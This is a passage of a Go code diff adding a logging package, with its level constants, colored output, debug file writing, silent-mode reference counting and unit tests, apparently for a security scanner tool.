case "info,success":
|
||||
return logging.LevelInfoSuccess
|
||||
case "base,info,success", "base_info_success":
|
||||
return logging.LevelBaseInfoSuccess
|
||||
default:
|
||||
return logging.LevelInfoSuccess
|
||||
}
|
||||
}
|
||||
|
||||
// InitLogger 初始化日志系统
|
||||
func InitLogger() {
|
||||
getGlobalLogger().Initialize()
|
||||
}
|
||||
|
||||
// LogDebug 输出调试日志
|
||||
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
|
||||
|
||||
// LogInfo 输出信息日志
|
||||
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
|
||||
|
||||
// LogSuccess 输出成功日志(Web指纹等)
|
||||
func LogSuccess(result string) { getGlobalLogger().Success(result) }
|
||||
|
||||
// LogVuln 输出漏洞/重要发现日志(密码成功、漏洞等)
|
||||
func LogVuln(result string) { getGlobalLogger().Vuln(result) }
|
||||
|
||||
// LogError 输出错误日志
|
||||
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
|
||||
|
||||
// CloseLogger 关闭日志系统,释放文件资源
|
||||
func CloseLogger() {
|
||||
loggerMu.Lock()
|
||||
defer loggerMu.Unlock()
|
||||
closeLoggerLocked()
|
||||
}
|
||||
|
||||
// PushSilentLogger suppresses process-wide legacy log output until the returned
|
||||
// restore function is called. It is reference counted so concurrent embedded
|
||||
// scans can overlap safely.
|
||||
func PushSilentLogger() func() {
|
||||
loggerMu.Lock()
|
||||
silentLoggerRefs++
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
loggerMu.Lock()
|
||||
if silentLoggerRefs > 0 {
|
||||
silentLoggerRefs--
|
||||
}
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func resetLoggerLocked() {
|
||||
closeLoggerLocked()
|
||||
globalLogger = nil
|
||||
loggerOnce = sync.Once{}
|
||||
}
|
||||
|
||||
func closeLoggerLocked() {
|
||||
if globalLogger != nil {
|
||||
globalLogger.Close()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package common
|
||||
|
||||
import "testing"
|
||||
|
||||
func preserveLoggerForTest(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
loggerMu.Lock()
|
||||
oldSilentRefs := silentLoggerRefs
|
||||
silentLoggerRefs = 0
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
|
||||
t.Cleanup(func() {
|
||||
loggerMu.Lock()
|
||||
closeLoggerLocked()
|
||||
silentLoggerRefs = oldSilentRefs
|
||||
resetLoggerLocked()
|
||||
loggerMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func TestLoggerFacadeSilentLifecycle(t *testing.T) {
|
||||
preserveLoggerForTest(t)
|
||||
|
||||
previousFlags := GetFlagVars()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
flagVars = previousFlags
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
flagVars = &FlagVars{Silent: true, LogLevel: "debug"}
|
||||
SetGlobalState(NewState())
|
||||
|
||||
InitLogger()
|
||||
LogDebug("debug")
|
||||
LogInfo("info")
|
||||
LogSuccess("success")
|
||||
LogVuln("vuln")
|
||||
LogError("error")
|
||||
CloseLogger()
|
||||
}
|
||||
|
||||
func TestPushSilentLoggerReferenceCount(t *testing.T) {
|
||||
preserveLoggerForTest(t)
|
||||
|
||||
restoreOne := PushSilentLogger()
|
||||
restoreTwo := PushSilentLogger()
|
||||
if silentLoggerRefs != 2 {
|
||||
t.Fatalf("silent refs = %d, want 2", silentLoggerRefs)
|
||||
}
|
||||
|
||||
restoreOne()
|
||||
restoreOne()
|
||||
if silentLoggerRefs != 1 {
|
||||
t.Fatalf("silent refs after first restore = %d, want 1", silentLoggerRefs)
|
||||
}
|
||||
|
||||
restoreTwo()
|
||||
if silentLoggerRefs != 0 {
|
||||
t.Fatalf("silent refs after second restore = %d, want 0", silentLoggerRefs)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
package logging
|
||||
|
||||
/*
|
||||
constants.go - 日志系统常量定义
|
||||
|
||||
统一管理common/logging包中的所有常量,便于查看和编辑。
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 日志级别常量 - 层级设计
|
||||
// =============================================================================
|
||||
|
||||
// LogLevel 日志级别类型(数值越小越详细)
|
||||
type LogLevel int
|
||||
|
||||
// 定义系统支持的日志级别常量(层级:Debug < Base < Info < Success < Vuln < Error)
|
||||
const (
|
||||
LevelDebug LogLevel = 0 // 调试信息(最详细)
|
||||
LevelBase LogLevel = 1 // 基础信息(扫描进度等)
|
||||
LevelInfo LogLevel = 2 // 一般信息(端口开放、服务识别等)
|
||||
LevelSuccess LogLevel = 3 // 成功结果(Web指纹等)
|
||||
LevelVuln LogLevel = 4 // 重要发现(弱密码、漏洞等)
|
||||
LevelError LogLevel = 5 // 错误信息(始终显示)
|
||||
)
|
||||
|
||||
// 向后兼容的别名
|
||||
const (
|
||||
LevelAll LogLevel = LevelDebug // ALL 等同于 Debug(显示所有)
|
||||
LevelInfoSuccess LogLevel = LevelInfo // 废弃,映射到 Info
|
||||
LevelBaseInfoSuccess LogLevel = LevelBase // 废弃,映射到 Base
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 时间显示常量 (从Formatter.go迁移)
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// MaxMillisecondDisplay 毫秒显示的最大时长
|
||||
MaxMillisecondDisplay = time.Second
|
||||
// MaxSecondDisplay 秒显示的最大时长
|
||||
MaxSecondDisplay = time.Minute
|
||||
// MaxMinuteDisplay 分钟显示的最大时长
|
||||
MaxMinuteDisplay = time.Hour
|
||||
|
||||
// SlowOutputDelay 慢速输出延迟
|
||||
SlowOutputDelay = 50 * time.Millisecond
|
||||
|
||||
// ProgressClearDelay 进度条清除延迟
|
||||
ProgressClearDelay = 10 * time.Millisecond
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 日志前缀常量 (从Formatter.go迁移)
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// PrefixDebug 调试日志前缀
|
||||
PrefixDebug = "[.]"
|
||||
// PrefixInfo 信息日志前缀
|
||||
PrefixInfo = "[*]"
|
||||
// PrefixSuccess 成功日志前缀
|
||||
PrefixSuccess = "[+]"
|
||||
// PrefixVuln 漏洞/重要发现前缀
|
||||
PrefixVuln = "[!]"
|
||||
// PrefixError 错误日志前缀
|
||||
PrefixError = "[-]"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 默认配置常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultLevel 默认日志级别
|
||||
DefaultLevel = LevelAll
|
||||
// DefaultEnableColor 默认启用彩色输出
|
||||
DefaultEnableColor = true
|
||||
// DefaultSlowOutput 默认不启用慢速输出
|
||||
DefaultSlowOutput = false
|
||||
// DefaultShowProgress 默认显示进度条
|
||||
DefaultShowProgress = true
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 默认颜色映射
|
||||
// =============================================================================
|
||||
|
||||
// GetDefaultLevelColors 获取默认的日志级别颜色映射
|
||||
func GetDefaultLevelColors() map[LogLevel]interface{} {
|
||||
return map[LogLevel]interface{}{
|
||||
LevelError: color.FgYellow, // 错误日志显示黄色
|
||||
LevelVuln: color.FgRed, // 漏洞/重要发现显示红色(密码成功、漏洞等)
|
||||
LevelBase: color.FgWhite, // 基础日志显示白色(普通信息)
|
||||
LevelInfo: color.FgWhite, // 信息日志显示白色(普通信息)
|
||||
LevelSuccess: color.FgGreen, // 成功日志显示绿色(Web指纹等)
|
||||
LevelDebug: color.FgWhite, // 调试日志显示白色
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,259 @@
|
||||
package logging
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// LogEntry 日志条目
|
||||
type LogEntry struct {
|
||||
Level LogLevel `json:"level"`
|
||||
Time time.Time `json:"time"`
|
||||
Content string `json:"content"`
|
||||
Source string `json:"source"`
|
||||
Metadata map[string]interface{} `json:"metadata"`
|
||||
}
|
||||
|
||||
// LoggerConfig 日志器配置
|
||||
type LoggerConfig struct {
|
||||
Level LogLevel `json:"level"`
|
||||
EnableColor bool `json:"enable_color"`
|
||||
SlowOutput bool `json:"slow_output"`
|
||||
ShowProgress bool `json:"show_progress"`
|
||||
Silent bool `json:"silent"`
|
||||
StartTime time.Time `json:"start_time"`
|
||||
LevelColors map[LogLevel]interface{} `json:"-"`
|
||||
DebugLogFile string `json:"debug_log_file"`
|
||||
}
|
||||
|
||||
// DefaultLoggerConfig 默认日志器配置
|
||||
func DefaultLoggerConfig() *LoggerConfig {
|
||||
return &LoggerConfig{
|
||||
Level: DefaultLevel,
|
||||
EnableColor: DefaultEnableColor,
|
||||
SlowOutput: DefaultSlowOutput,
|
||||
ShowProgress: DefaultShowProgress,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
}
|
||||
|
||||
// Logger 简化的日志管理器
|
||||
type Logger struct {
|
||||
mu sync.RWMutex
|
||||
config *LoggerConfig
|
||||
startTime time.Time
|
||||
coordinatedOutput func(string)
|
||||
initialized bool
|
||||
debugFile *os.File
|
||||
}
|
||||
|
||||
// NewLogger 创建新的日志管理器
|
||||
func NewLogger(config *LoggerConfig) *Logger {
|
||||
if config == nil {
|
||||
config = DefaultLoggerConfig()
|
||||
}
|
||||
|
||||
l := &Logger{
|
||||
config: config,
|
||||
startTime: config.StartTime,
|
||||
initialized: true,
|
||||
}
|
||||
|
||||
if config.DebugLogFile != "" {
|
||||
f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
||||
if err == nil {
|
||||
l.debugFile = f
|
||||
}
|
||||
}
|
||||
|
||||
return l
|
||||
}
|
||||
|
||||
// Initialize 初始化日志器
|
||||
func (l *Logger) Initialize() {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.initialized = true
|
||||
}
|
||||
|
||||
// SetCoordinatedOutput 设置协调输出函数
|
||||
func (l *Logger) SetCoordinatedOutput(outputFunc func(string)) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
l.coordinatedOutput = outputFunc
|
||||
}
|
||||
|
||||
// Debug 输出调试信息
|
||||
func (l *Logger) Debug(msg string) {
|
||||
l.log(LevelDebug, msg)
|
||||
}
|
||||
|
||||
// Base 输出基础信息
|
||||
func (l *Logger) Base(msg string) {
|
||||
l.log(LevelBase, msg)
|
||||
}
|
||||
|
||||
// Info 输出信息
|
||||
func (l *Logger) Info(msg string) {
|
||||
l.log(LevelInfo, msg)
|
||||
}
|
||||
|
||||
// Success 输出成功信息
|
||||
func (l *Logger) Success(msg string) {
|
||||
l.log(LevelSuccess, msg)
|
||||
}
|
||||
|
||||
// Vuln 输出漏洞/重要发现信息
|
||||
func (l *Logger) Vuln(msg string) {
|
||||
l.log(LevelVuln, msg)
|
||||
}
|
||||
|
||||
// Error 输出错误信息
|
||||
func (l *Logger) Error(msg string) {
|
||||
l.log(LevelError, msg)
|
||||
}
|
||||
|
||||
// log 内部日志处理方法
|
||||
func (l *Logger) log(level LogLevel, content string) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
if l.config.Silent {
|
||||
return
|
||||
}
|
||||
|
||||
if !l.shouldLog(level) {
|
||||
return
|
||||
}
|
||||
|
||||
// 格式化消息:保留前缀,去掉时间戳
|
||||
prefix := l.getLevelPrefix(level)
|
||||
|
||||
// 处理多行内容:给每行加上前缀,然后作为一个整体输出
|
||||
if strings.Contains(content, "\n") {
|
||||
lines := strings.Split(content, "\n")
|
||||
var formattedLines []string
|
||||
for _, line := range lines {
|
||||
if line != "" {
|
||||
formattedLines = append(formattedLines, fmt.Sprintf("%s %s", prefix, line))
|
||||
}
|
||||
}
|
||||
logMsg := strings.Join(formattedLines, "\n")
|
||||
l.outputMessage(level, logMsg)
|
||||
} else {
|
||||
logMsg := fmt.Sprintf("%s %s", prefix, content)
|
||||
l.outputMessage(level, logMsg)
|
||||
}
|
||||
|
||||
// 写入debug日志文件(纯文本,无颜色)
|
||||
if l.debugFile != nil {
|
||||
timestamp := time.Since(l.startTime).Truncate(time.Millisecond)
|
||||
if strings.Contains(content, "\n") {
|
||||
lines := strings.Split(content, "\n")
|
||||
for _, line := range lines {
|
||||
if line != "" {
|
||||
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content)
|
||||
}
|
||||
}
|
||||
|
||||
// 根据慢速输出设置决定是否添加延迟
|
||||
if l.config.SlowOutput {
|
||||
time.Sleep(SlowOutputDelay)
|
||||
}
|
||||
}
|
||||
|
||||
// Close 关闭日志器,释放文件资源
|
||||
func (l *Logger) Close() {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.debugFile != nil {
|
||||
_ = l.debugFile.Close()
|
||||
l.debugFile = nil
|
||||
}
|
||||
}
|
||||
|
||||
// shouldLog 检查是否应该记录该级别的日志
|
||||
// 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示
|
||||
func (l *Logger) shouldLog(level LogLevel) bool {
|
||||
// Error 级别始终显示
|
||||
if level == LevelError {
|
||||
return true
|
||||
}
|
||||
// 层级过滤:消息级别 >= 配置级别
|
||||
return level >= l.config.Level
|
||||
}
|
||||
|
||||
// outputMessage 输出消息
|
||||
func (l *Logger) outputMessage(level LogLevel, logMsg string) {
|
||||
if l.coordinatedOutput != nil {
|
||||
// 使用协调输出(与进度条配合)
|
||||
if l.config.EnableColor {
|
||||
if colorAttr, ok := l.config.LevelColors[level]; ok {
|
||||
if attr, ok := colorAttr.(color.Attribute); ok {
|
||||
coloredMsg := color.New(attr).Sprint(logMsg)
|
||||
l.coordinatedOutput(coloredMsg)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
l.coordinatedOutput(logMsg)
|
||||
} else {
|
||||
// 直接输出
|
||||
if l.config.EnableColor {
|
||||
if colorAttr, ok := l.config.LevelColors[level]; ok {
|
||||
if attr, ok := colorAttr.(color.Attribute); ok {
|
||||
_, _ = color.New(attr).Println(logMsg)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Println(logMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// formatElapsedTime 格式化经过的时间
|
||||
func (l *Logger) formatElapsedTime(elapsed time.Duration) string {
|
||||
switch {
|
||||
case elapsed < MaxMillisecondDisplay:
|
||||
return fmt.Sprintf("%dms", elapsed.Milliseconds())
|
||||
case elapsed < MaxSecondDisplay:
|
||||
return fmt.Sprintf("%.1fs", elapsed.Seconds())
|
||||
case elapsed < MaxMinuteDisplay:
|
||||
minutes := int(elapsed.Minutes())
|
||||
seconds := int(elapsed.Seconds()) % 60
|
||||
return fmt.Sprintf("%dm%ds", minutes, seconds)
|
||||
default:
|
||||
hours := int(elapsed.Hours())
|
||||
minutes := int(elapsed.Minutes()) % 60
|
||||
seconds := int(elapsed.Seconds()) % 60
|
||||
return fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
|
||||
}
|
||||
}
|
||||
|
||||
// getLevelPrefix 获取日志级别前缀
|
||||
func (l *Logger) getLevelPrefix(level LogLevel) string {
|
||||
switch level {
|
||||
case LevelDebug:
|
||||
return PrefixDebug
|
||||
case LevelInfo:
|
||||
return PrefixInfo
|
||||
case LevelSuccess:
|
||||
return PrefixSuccess
|
||||
case LevelVuln:
|
||||
return PrefixVuln
|
||||
case LevelError:
|
||||
return PrefixError
|
||||
default:
|
||||
return PrefixInfo // 默认使用 Info 前缀
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,692 @@
|
||||
package logging
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
/*
|
||||
logger_test.go - 日志系统测试
|
||||
|
||||
测试目标:Logger核心功能
|
||||
价值:日志是程序的眼睛,错误会导致:
|
||||
- 关键信息丢失(用户看不到错误)
|
||||
- 性能问题(并发日志混乱)
|
||||
- 调试困难(时间格式错误)
|
||||
|
||||
"日志不是可选功能。日志丢失或错误,等于程序在撒谎。
|
||||
测试必须验证:过滤正确、格式正确、并发安全。"
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 测试辅助函数
|
||||
// =============================================================================
|
||||
|
||||
// captureOutput 捕获日志输出(不污染控制台)
|
||||
type captureOutput struct {
|
||||
mu sync.Mutex
|
||||
output []string
|
||||
}
|
||||
|
||||
func (c *captureOutput) Write(msg string) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
c.output = append(c.output, msg)
|
||||
}
|
||||
|
||||
func (c *captureOutput) Get() []string {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
result := make([]string, len(c.output))
|
||||
copy(result, c.output)
|
||||
return result
|
||||
}
|
||||
|
||||
func (c *captureOutput) Clear() {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
c.output = nil
|
||||
}
|
||||
|
||||
// createTestLogger 创建测试用Logger(捕获输出)
|
||||
func createTestLogger(level LogLevel, enableColor bool) (*Logger, *captureOutput) {
|
||||
capture := &captureOutput{}
|
||||
config := &LoggerConfig{
|
||||
Level: level,
|
||||
EnableColor: enableColor,
|
||||
SlowOutput: false, // 测试时禁用慢速输出
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
logger.SetCoordinatedOutput(capture.Write)
|
||||
return logger, capture
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 基础功能测试
|
||||
// =============================================================================
|
||||
|
||||
// TestNewLogger_DefaultConfig 测试默认配置
|
||||
func TestNewLogger_DefaultConfig(t *testing.T) {
|
||||
// nil配置应该使用默认值
|
||||
logger := NewLogger(nil)
|
||||
|
||||
if logger == nil {
|
||||
t.Fatal("NewLogger(nil) 应该返回有效的logger")
|
||||
}
|
||||
|
||||
if logger.config == nil {
|
||||
t.Error("config不应为nil(应使用默认配置)")
|
||||
}
|
||||
|
||||
if logger.config.Level != DefaultLevel {
|
||||
t.Errorf("默认Level = %v, want %v", logger.config.Level, DefaultLevel)
|
||||
}
|
||||
|
||||
if !logger.initialized {
|
||||
t.Error("logger应该已初始化")
|
||||
}
|
||||
|
||||
t.Logf("✓ 默认配置测试通过")
|
||||
}
|
||||
|
||||
// TestNewLogger_CustomConfig 测试自定义配置
|
||||
func TestNewLogger_CustomConfig(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelError,
|
||||
EnableColor: false,
|
||||
SlowOutput: true,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
|
||||
logger := NewLogger(config)
|
||||
|
||||
if logger.config.Level != LevelError {
|
||||
t.Errorf("Level = %v, want %v", logger.config.Level, LevelError)
|
||||
}
|
||||
|
||||
if logger.config.EnableColor {
|
||||
t.Error("EnableColor应该为false")
|
||||
}
|
||||
|
||||
t.Logf("✓ 自定义配置测试通过")
|
||||
}
|
||||
|
||||
// TestLogger_AllLevels 测试所有日志级别
|
||||
//
|
||||
// 验证:每个级别都能正确输出
|
||||
func TestLogger_AllLevels(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
logFunc func(string)
|
||||
message string
|
||||
wantMsg string
|
||||
wantPfx string
|
||||
}{
|
||||
{
|
||||
name: "Debug级别",
|
||||
logFunc: logger.Debug,
|
||||
message: "debug message",
|
||||
wantMsg: "debug message",
|
||||
wantPfx: PrefixDebug,
|
||||
},
|
||||
{
|
||||
name: "Base级别",
|
||||
logFunc: logger.Base,
|
||||
message: "base message",
|
||||
wantMsg: "base message",
|
||||
wantPfx: PrefixInfo, // Base 已废弃,默认使用 Info 前缀
|
||||
},
|
||||
{
|
||||
name: "Info级别",
|
||||
logFunc: logger.Info,
|
||||
message: "info message",
|
||||
wantMsg: "info message",
|
||||
wantPfx: PrefixInfo,
|
||||
},
|
||||
{
|
||||
name: "Success级别",
|
||||
logFunc: logger.Success,
|
||||
message: "success message",
|
||||
wantMsg: "success message",
|
||||
wantPfx: PrefixSuccess,
|
||||
},
|
||||
{
|
||||
name: "Vuln级别",
|
||||
logFunc: logger.Vuln,
|
||||
message: "vuln message",
|
||||
wantMsg: "vuln message",
|
||||
wantPfx: PrefixVuln,
|
||||
},
|
||||
{
|
||||
name: "Error级别",
|
||||
logFunc: logger.Error,
|
||||
message: "error message",
|
||||
wantMsg: "error message",
|
||||
wantPfx: PrefixError,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
capture.Clear()
|
||||
tt.logFunc(tt.message)
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) != 1 {
|
||||
t.Fatalf("期望1条输出,实际%d条", len(output))
|
||||
}
|
||||
|
||||
msg := output[0]
|
||||
if !strings.Contains(msg, tt.wantMsg) {
|
||||
t.Errorf("输出缺少消息: %s\n实际: %s", tt.wantMsg, msg)
|
||||
}
|
||||
|
||||
if !strings.Contains(msg, tt.wantPfx) {
|
||||
t.Errorf("输出缺少前缀: %s\n实际: %s", tt.wantPfx, msg)
|
||||
}
|
||||
|
||||
// 验证输出格式:前缀 + 空格 + 消息
|
||||
if !strings.HasPrefix(msg, tt.wantPfx) {
|
||||
t.Errorf("输出应该以前缀开头: %s\n实际: %s", tt.wantPfx, msg)
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 输出正确: %s", tt.name, msg)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 级别过滤测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_LevelFiltering 测试日志级别过滤
|
||||
//
|
||||
// 验证:不同级别配置下,只输出对应级别的日志
|
||||
func TestLogger_LevelFiltering(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
configLevel LogLevel
|
||||
logLevels map[string]func(*Logger, string)
|
||||
wantOutput map[string]bool // true表示应该输出
|
||||
}{
|
||||
{
|
||||
name: "LevelAll - 显示所有",
|
||||
configLevel: LevelAll,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": true, "base": true, "info": true,
|
||||
"success": true, "error": true,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelError - 仅错误",
|
||||
configLevel: LevelError,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"info": (*Logger).Info,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"info": false, "error": true,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelInfoSuccess - 信息和成功",
|
||||
configLevel: LevelInfoSuccess,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"base": false, "info": true,
|
||||
"success": true, "error": true, // Error 始终显示(层级设计)
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelBaseInfoSuccess - 基础、信息和成功",
|
||||
configLevel: LevelBaseInfoSuccess,
|
||||
logLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": false, "base": true,
|
||||
"info": true, "success": true,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger, capture := createTestLogger(tt.configLevel, false)
|
||||
|
||||
for levelName, logFunc := range tt.logLevels {
|
||||
capture.Clear()
|
||||
logFunc(logger, levelName+" message")
|
||||
|
||||
output := capture.Get()
|
||||
shouldOutput := tt.wantOutput[levelName]
|
||||
|
||||
if shouldOutput && len(output) == 0 {
|
||||
t.Errorf("%s: 应该输出但没有输出", levelName)
|
||||
}
|
||||
if !shouldOutput && len(output) > 0 {
|
||||
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 过滤测试通过", tt.name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 时间格式化测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_TimeFormatting 测试时间格式化函数
|
||||
//
|
||||
// 验证:formatElapsedTime 对不同时长格式化正确(毫秒、秒、分钟、小时)
|
||||
func TestLogger_TimeFormatting(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
elapsed time.Duration
|
||||
wantStr string
|
||||
}{
|
||||
{
|
||||
name: "0毫秒",
|
||||
elapsed: 0,
|
||||
wantStr: "0ms",
|
||||
},
|
||||
{
|
||||
name: "500毫秒",
|
||||
elapsed: 500 * time.Millisecond,
|
||||
wantStr: "500ms",
|
||||
},
|
||||
{
|
||||
name: "999毫秒",
|
||||
elapsed: 999 * time.Millisecond,
|
||||
wantStr: "999ms",
|
||||
},
|
||||
{
|
||||
name: "1秒",
|
||||
elapsed: 1 * time.Second,
|
||||
wantStr: "1.0s",
|
||||
},
|
||||
{
|
||||
name: "30秒",
|
||||
elapsed: 30 * time.Second,
|
||||
wantStr: "30.0s",
|
||||
},
|
||||
{
|
||||
name: "59秒",
|
||||
elapsed: 59 * time.Second,
|
||||
wantStr: "59.0s",
|
||||
},
|
||||
{
|
||||
name: "1分钟",
|
||||
elapsed: 1 * time.Minute,
|
||||
wantStr: "1m0s",
|
||||
},
|
||||
{
|
||||
name: "5分30秒",
|
||||
elapsed: 5*time.Minute + 30*time.Second,
|
||||
wantStr: "5m30s",
|
||||
},
|
||||
{
|
||||
name: "59分59秒",
|
||||
elapsed: 59*time.Minute + 59*time.Second,
|
||||
wantStr: "59m59s",
|
||||
},
|
||||
{
|
||||
name: "1小时",
|
||||
elapsed: 1 * time.Hour,
|
||||
wantStr: "1h0m0s",
|
||||
},
|
||||
{
|
||||
name: "2小时30分45秒",
|
||||
elapsed: 2*time.Hour + 30*time.Minute + 45*time.Second,
|
||||
wantStr: "2h30m45s",
|
||||
},
|
||||
}
|
||||
|
||||
// 直接测试 formatElapsedTime 函数
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger := NewLogger(nil)
|
||||
result := logger.formatElapsedTime(tt.elapsed)
|
||||
|
||||
if result != tt.wantStr {
|
||||
t.Errorf("时间格式错误\n期望: %s\n实际: %s", tt.wantStr, result)
|
||||
}
|
||||
|
||||
t.Logf("✓ %s → %s", tt.name, result)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 并发安全测试
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_ConcurrentLogging 测试并发日志输出
|
||||
//
|
||||
// 验证:多个goroutine同时写日志不会panic或丢失
|
||||
func TestLogger_ConcurrentLogging(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
|
||||
numGoroutines := 100
|
||||
logsPerGoroutine := 10
|
||||
totalLogs := numGoroutines * logsPerGoroutine
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(numGoroutines)
|
||||
|
||||
// 并发写入不同级别的日志
|
||||
for i := 0; i < numGoroutines; i++ {
|
||||
go func(id int) {
|
||||
defer wg.Done()
|
||||
|
||||
for j := 0; j < logsPerGoroutine; j++ {
|
||||
msg := fmt.Sprintf("goroutine-%d-log-%d", id, j)
|
||||
|
||||
// 随机使用不同级别
|
||||
switch j % 5 {
|
||||
case 0:
|
||||
logger.Debug(msg)
|
||||
case 1:
|
||||
logger.Info(msg)
|
||||
case 2:
|
||||
logger.Success(msg)
|
||||
case 3:
|
||||
logger.Error(msg)
|
||||
case 4:
|
||||
logger.Base(msg)
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// 验证输出数量
|
||||
output := capture.Get()
|
||||
if len(output) != totalLogs {
|
||||
t.Errorf("期望%d条日志,实际%d条(数据丢失或重复)",
|
||||
totalLogs, len(output))
|
||||
}
|
||||
|
||||
// 验证每条日志格式正确(前缀可能是 "[" 或空格)
|
||||
for i, line := range output {
|
||||
if !strings.HasPrefix(line, "[") && !strings.HasPrefix(line, " ") {
|
||||
t.Errorf("第%d条日志格式错误: %s", i+1, line)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 并发日志测试通过(%d个goroutine,共%d条日志)",
|
||||
numGoroutines, totalLogs)
|
